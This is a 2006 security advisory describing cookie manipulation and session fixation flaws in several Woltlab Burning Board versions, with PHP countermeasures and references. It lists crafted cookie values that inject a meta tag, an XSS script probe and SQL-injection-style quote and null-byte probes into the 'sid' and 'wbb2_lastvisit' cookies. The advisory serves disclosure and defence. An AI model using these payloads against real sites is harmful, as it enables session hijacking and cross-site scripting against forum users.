Software: Woltlab Burning board
Impact: Cookie manipulation and Session Fixation
Made public: July, 23th 2006
Vendor: WoltLab GmbH
Page: http://www.woltlab.de
Discovered by: David Vieira-Kurz
http://www.majorsecurity.de
http://www.majorsecurity.de/advisory/major_rls26.txt
Woltlab Burning board 1.1.1
Woltlab Burning Board 1.2
Woltlab Burning Board 2.1.3
Woltlab Burning Board 2.1.5
Woltlab Burning Board 2.2
Woltlab Burning Board 2.2.1
Woltlab Burning Board 2.2.2
Other versions may also be affectedβ¦
register_globals = On
Classification:
Session Fixation is an attack technique that forces a user's session ID to an explicit value.
Depending on the functionality of the target web site, a number of techniques can be utilized to "fix" the session ID value.
These techniques range from Cross-site Scripting exploits to peppering the web site with previously made HTTP requests.
After a user's session ID has been fixed, the attacker will wait for them to login.
Once the user does so, the attacker uses the predefined session ID value to assume their online identity.
WBB 1.1.1 and 1.2:
The Cookie variable "sid" can be set to something like:
1. <meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>;sthreads=a%253A1%253A%257Bi%253A0%253BN%253B%257D
2. sid=>'><script>alert(123456789)</script>;sthreads=a%253A1%253A%257Bi%253A0%253BN%253B%257D // XSS is possible
3. Cookie: sid='";sthreads=a%253A1%253A%257Bi%253A0%253BN%253B%257D // SQL-Injection could be possible
WBB 2.1.x and 2.2.x:
The Cookie variable "wbb2_lastvisit" can be set to something like:
Cookie: wbb2_cookiehash=0bb23efeb1a979d68027994ecb29fc48;wbb2_lastvisit=>'><script>alert(123456789)</script>;wbb2_hidecats=a%253A1%253A%257Bi%253A19%253Bi%253A0%253B%257D // XSS is possible
Cookie: wbb2_cookiehash=0bb23efeb1a979d68027994ecb29fc48;wbb2_lastvisit=%00';wbb2_hidecats=a%253A1%253A%257Bi%253A19%253Bi%253A0%253B%257D
2.Regenerate SID on each request:
A powerful countermeassure against session fixation is to "regenerate" session identifier (SID) on each request.
This means that although attacker may trick a user into accepting a known SID, the SID will be invalid when attacker attempts to re-use the SID.
Accept only server generated SID:
One way to improve security is to not accept session identifiers not generated by server.
if ( ! is_set( $_SESSION['SERVER_GENERATED_SID'] ) ) {
session_destroy(); // destroy all data in session
}
session_regenerate_id(); // generate a new session identifier
$_SESSION['SERVER_GENERATED_SID'] = true;
http://www.acrossecurity.com/papers/session_fixation.pdf
http://www.webappsec.org/projects/threat/classes/session_fixation.shtml
http://en.wikipedia.org/wiki/Session_fixation